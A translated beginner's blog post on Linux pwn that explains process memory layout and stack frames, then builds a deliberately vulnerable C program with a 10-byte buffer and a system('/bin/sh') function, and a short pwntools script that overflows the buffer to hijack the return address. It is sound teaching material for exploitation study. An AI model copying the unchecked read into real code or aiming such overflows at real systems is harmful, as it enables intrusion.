pwn stack overflow principle and my first exp

Posted by auro on Wed, 19 Jan 2022 23:11:25 +0100

Stack position in memory

Operating system kernel

Stack area: the place where local variables are stored during program operation
Grow down (high – > low)

Shared library mapping area: when a program is dynamically linked, its dependent libraries will be mapped to this area

Heap area: malloc or new applies for new space, which will be allocated from the heap area
Upward growth (from low to high)

Read / write area: it is used to map the data segment and bss segment, that is, the place where the global static variables of the program are stored

Read only area: the area that maps ELF files test (some have x) (the segment where the program execution flow is located)

Unused places:

Write a simple function on kali to output the process number test c

#include <stdio.h>
#include  <unistd.h>

int main()
{
	printf("pid: %d\n",getpid());
	getchar(); // Don't let it end quickly
	return 0;
}

Compile run

cat /proc/PID/maps
View how the process's virtual address space is used

(root💀kali)-[/home/ckyl/desktop]
└─# cat /proc/1346/maps
08048000-08049000 r--p 00000000 08:08 129605                             /home/ckyl/desktop/test
08049000-0804a000 r-xp 00001000 08:08 129605                             /home/ckyl/desktop/test
0804a000-0804b000 r--p 00002000 08:08 129605                             /home/ckyl/desktop/test
0804b000-0804c000 r--p 00002000 08:08 129605                             /home/ckyl/desktop/test
0804c000-0804d000 rw-p 00003000 08:08 129605                             /home/ckyl/desktop/test
08b36000-08b58000 rw-p 00000000 00:00 0                                  [heap]
f7da5000-f7dc2000 r--p 00000000 08:01 149971                             /usr/lib/i386-linux-gnu/libc-2.31.so
f7dc2000-f7f17000 r-xp 0001d000 08:01 149971                             /usr/lib/i386-linux-gnu/libc-2.31.so
f7f17000-f7f87000 r--p 00172000 08:01 149971                             /usr/lib/i386-linux-gnu/libc-2.31.so
f7f87000-f7f88000 ---p 001e2000 08:01 149971                             /usr/lib/i386-linux-gnu/libc-2.31.so
f7f88000-f7f8a000 r--p 001e2000 08:01 149971                             /usr/lib/i386-linux-gnu/libc-2.31.so
f7f8a000-f7f8c000 rw-p 001e4000 08:01 149971                             /usr/lib/i386-linux-gnu/libc-2.31.so
f7f8c000-f7f8e000 rw-p 00000000 00:00 0 
f7fa6000-f7fa8000 rw-p 00000000 00:00 0 
f7fa8000-f7fac000 r--p 00000000 00:00 0                                  [vvar]
f7fac000-f7fae000 r-xp 00000000 00:00 0                                  [vdso]
f7fae000-f7faf000 r--p 00000000 08:01 149967                             /usr/lib/i386-linux-gnu/ld-2.31.so
f7faf000-f7fcc000 r-xp 00001000 08:01 149967                             /usr/lib/i386-linux-gnu/ld-2.31.so
f7fcc000-f7fd7000 r--p 0001e000 08:01 149967                             /usr/lib/i386-linux-gnu/ld-2.31.so
f7fd8000-f7fd9000 r--p 00029000 08:01 149967                             /usr/lib/i386-linux-gnu/ld-2.31.so
f7fd9000-f7fda000 rw-p 0002a000 08:01 149967                             /usr/lib/i386-linux-gnu/ld-2.31.so
ffa1d000-ffa3e000 rw-p 00000000 00:00 0                                  [stack]

ps: the picture is from high to low
The address in maps is from low to high

Implementation of function call on stack

The above figure explains the procedure on the stack of function calls with the procedure of eax ebx numerical exchange

Stack:
Grow down (high – > low)
Basic operation of stack:
Push stack push (-value) mov
Pop pop stack mov pop esp+value

Nothing else, just a whim to upload a pleasing picture

Stack frame

Take add as an example to explain the stack frame

Big brother main
add(1, 2) little brother
1. To pocket: apply for register esp++
2. Keepsake: parameters – > mainstack pressing esp + + (add later and use ebp to access)
3.add return address: return address esp++
4.ebp go: ebp pushes the things of the last function onto the old ebp esp++
5.ebp is coming: at this time, ebp goes with ESP (and ebp points to the old ebp help function, which will return later)
6. Do tasks together: ebp guarding the home (access parameter + value), esp exploring the way

Let's listen to this brother's class: https://www.bilibili.com/video/BV1U7411z7Ki?t=432&p=2

Write your own function, compile it and pull it to IDA for analysis

int add(int a,int b)
{
	return a+b;
}

void myadd()
{
	int c=1,d=2;
	add(c,d);
}

int main()
{
	myadd();
}

Write a stack overflow

#include <stdlib.h>
#include <unistd.h>

void myread()
{
	char s[10];        //local variable
	read(0,s,50);     //Overlay high address
}

void getshell()
{
	system("/bin/sh");      //Get shell directly
}

int main()
{
	myread();
	return 0;
}

How to hijack the execution flow of the program to the getshell function only by calling the myread function???

Compile to generate executable

gcc -m32 -no-pie stack_overflow.c -o stack

Execution/ stack
Input long characters, error, segment error

raed  10+4+getshell address

thus
To exit the myread function, execute retn
Return directly to the getshell function

Pull to IDA to see s – ebp how far?!
myread function F5 disassembly

char buf[14]; // [esp+6h] [ebp-12h] BYREF

0x12 – > 18 bytes

payload= 'a' * (18+4) + getshell address

thus
To exit the myread function, execute retn
Return directly to the getshell function

from pwn import *        #pwntools
sh = process("stack")    #Run up
getshell = 0x804919E    #The getshell address can be viewed in IDA
payload = b'a' * (18+4) +p32(getshell)   #Note b and P32 (convert to 32-bit segment order)
sh.sendline(payload)    #transmit
sh.interactive()               #Switch to interactive mode

python3 epx.py

Through the first stack overflow in my life

All the above are for reference https://www.bilibili.com/video/BV1U7411z7Ki?t=432&p=2

Topics: Linux pwn